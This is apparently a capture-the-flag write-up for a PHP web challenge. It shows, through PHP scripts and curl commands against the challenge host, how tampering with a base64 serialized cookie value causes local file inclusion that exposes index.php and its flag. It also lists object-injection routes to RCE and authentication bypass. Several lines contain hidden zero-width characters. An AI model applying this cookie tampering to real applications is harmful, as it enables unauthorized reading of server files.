LFI POI

Platform: webkids20 | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-11 | Status: Solved Techniques: cookie_deserialization, lfi_via_serialized_data, php_object_injection

Summary

Task: PHP application with serialized data in cookies controlling file inclusion. Solution: Modify base64-encoded serialized PHP array in cookie to change memorize_file parameter for LFI to read source code with flag.

LFI POI — Web Kids 2.0

Description

PHP LFI challenge. "POI" = PHP Object Injection. The application uses serialized PHP data in cookies to control functionality.

Analysis

The application stores session data in a site_data cookie, which contains a base64-encoded serialized PHP array. One of the array keys — memorize_file — controls which file is read/included by the application.

Key observations:

• Cookie site_data contains base64-encoded data
• After decoding — serialized PHP array
• The memorize_file parameter determines the file path
• No server-side file path validation ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Decoding the cookie

Get the site_data cookie value and decode from base64:

 php read-only • copy allowed Copy
<?php
$cookie = "YToyOntzOjEyOiJtZW1vcml6ZV9maWxlIjtzOjEwOiJkZWZhdWx0LnR4dCI7czoxMToic29tZV9wYXJhbSI7czozOiJhYmMiO30=";
$decoded = base64_decode($cookie);
echo $decoded;
// a:2:{s:12:"memorize_file";s:10:"default.txt";s:11:"some_param";s:3:"abc";}
?>

Step 2: Modifying serialized data

Change the memorize_file value to index.php to read the source code:

 php read-only • copy allowed Copy
<?php
$data = array(
    "memorize_file" => "index.php",
    "some_param" => "abc"
);
$serialized = serialize($data);
$encoded = base64_encode($serialized);
echo $encoded;
// YToyOntzOjEyOiJtZW1vcml6ZV9maWxlIjtzOjk6ImluZGV4LnBocCI7czoxMToic29tZV9wYXJhbSI7czozOiJhYmMiO30=
?>

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Sending the modified cookie

Send a request with the modified cookie:

 bash read-only • copy allowed Copy
curl -b "site_data=YToyOntzOjEyOiJtZW1vcml6ZV9maWxlIjtzOjk6ImluZGV4LnBocCI7czoxMToic29tZV9wYXJhbSI7czozOiJhYmMiO30=" https://advweb5.spb.ctf.su/

Step 4: Extracting the flag

The response contains the index.php source code, which has the flag hardcoded.

Full solution script

 php read-only • copy allowed Copy
<?php
// Create payload to read index.php
$payload = array(
    "memorize_file" => "index.php"
);

$serialized = serialize($payload);
$encoded = base64_encode($serialized);
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

echo "Cookie value: " . $encoded . "\n";
echo "Serialized: " . $serialized . "\n";
?>

 bash read-only • copy allowed Copy
#!/bin/bash
# Generate payload and send request
PAYLOAD=$(php -r 'echo base64_encode(serialize(array("memorize_file" => "index.php")));')
curl -b "site_data=$PAYLOAD" https://advweb5.spb.ctf.su/

Additional PHP Object Injection Techniques

• Modifying file paths (LFI/RFI)
• Manipulating class objects for RCE via magic methods (__wakeup, __destruct)
• Changing access rights through serialized data
• Bypassing authentication through session data modification ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍